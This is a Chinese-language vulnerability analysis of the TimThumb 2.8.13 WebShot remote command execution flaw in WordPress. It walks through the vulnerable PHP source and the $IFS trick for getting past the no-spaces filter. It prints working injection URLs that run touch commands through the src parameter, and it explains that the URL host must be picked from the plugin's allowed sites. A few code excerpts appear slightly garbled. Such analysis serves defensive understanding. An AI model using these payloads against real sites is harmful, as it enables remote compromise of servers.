Wordpress_TimThumb_WebShot远程命令执行漏洞分析

近日,Wordpress上著名的TimThumb插件曝光远程命令执行漏洞0day,具体是因为TimThumb的一个叫WebShot的功能在实现中调用了外部Linux命令所致。本文对此漏洞做一个具体分析,测试环境如下:

系统 Ubuntu 14.04 Server
TimThumb版本 2.8.13

需要安装的依赖:

apt-get install CutyCapt Xvfb

默认情况下,WebShot功能是处于禁用状态,要触发该漏洞,首先需要修改timthumb.php的配置,将WEBSHOT_ENABLED改为ture:

if(! defined('WEBSHOT_ENABLED') )   define ('WEBSHOT_ENABLED',
true);

以下是已公布的Payload:

http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat

从Payload中可看出,漏洞在src参数中触发。所以需要先搞清楚src是如何接受到的。以下是timthumb.php接受src参数的代码:

$this->src = $this->param('src');

好,现在知道src怎么得到内容后,再看看导致这个漏洞的关键代码:

if($this->param('webshot')){
	if(WEBSHOT_ENABLED){
	  $this->debug(3, "webshot param is set, so we're going to take a webshot.");
	  $this->serveWebshot();
	} else {

如果参数中webshot不为空,并且WEBSHOT_ENABLED为true,就调用serveWebshot方法。再看serveWebshot方法的关键代码:

$url = $this->src;      # (1)
    if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){
      return $this->error("Invalid URL supplied.");
    }
    $url = preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/', '', $url); # (2)


    if(WEBSHOT_XVFB_RUNNING){
      putenv('DISPLAY=:100.0');
      $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";      # (3)
    } else {
      $command = "$xv --server-args=\"-screen 0, {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";
    }
    $this->debug(3, "Executing command: $command");
    $out = $command;      # (4)

上方代码,$url变量的值来源于$this->src变量。在(2)中,对$url进行了正则替换,并在(3)中,将处理过$url变量执行拼接在了$command变量里后,在(4)中调用了外部shell命令。

漏洞的关键触发点是(2)中的正则表达式,可从这个正则表达式中看出,$url变量里是不允许空格的出现,所以Payload中使用了$IFS这个shell变量,可以帮助在不打空格下完成命令执行,比如我可以在Linux下正常执行以下命令:

$ ls$IFS/boot
abi-3.11.0-19-generic         memtest86+.bin

以下是我在Ubuntu14.04+Apache+PHP5测试结果:

$ curl http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx) $ ls /tmp/
hello_lu4nx

我请求了带了Payload的URL:

http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)

并成功在/tmp目录下创建了hello_lu4nx这个文件。

我的Payload和别人公布的有个不一样的关键细节,先看看别人Payload的src内容:

src=http://loncatlab.local/$(touch$IFS/tmp/longcat

再看看我的:

src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)

对,不一样的就是URL中的Host地址,这个地址默认情况下必须是timthumb.php中全局变量ALLOWED_SITES的内容之一:

if(! isset($ALLOWED_SITES)){
  $ALLOWED_SITES = array (
    'flickr.com',
    'staticflickr.com',
    'picasa.com',
    'img.youtube.com',
    'upload.wikimedia.org',
    'photobucket.com',
    'imgur.com',
    'imageshack.us',
    'tinypic.com',
    'amazonaws.com'
  );
}

因为这里有段判断代码:

if($this->isURL){
      if(ALLOW_ALL_EXTERNAL_SITES){     # (1)
	$this->debug(2, "Fetching from all external sites is enabled.");
      } else {
	$this->debug(2, "Fetching only from selected external sites is enabled.");
	$allowed = false;
	foreach($ALLOWED_SITES as $site){
	  if ((strtolower(substr($this->url['host'],-strlen($site)-1))
 strtolower(".$site")) || (strtolower($this->url['host'])

strtolower($site))) {
	    $this->debug(3, "URL hostname {$this->url['host']} matches $site so allowing.");
	    $allowed = true;
	  }
	}

注意(1)中的判断代码:

if(ALLOW_ALL_EXTERNAL_SITES)

ALLOW_ALL_EXTERNAL_SITES默认是false的:
if(! defined('ALLOW_ALL_EXTERNAL_SITES') )  define
('ALLOW_ALL_EXTERNAL_SITES', false);

由于ALLOW_ALL_EXTERNAL_SITES为false,所以会判断Host是否是$ALLOWED_SITES中列举的,不过这里没关系,随便选个即可。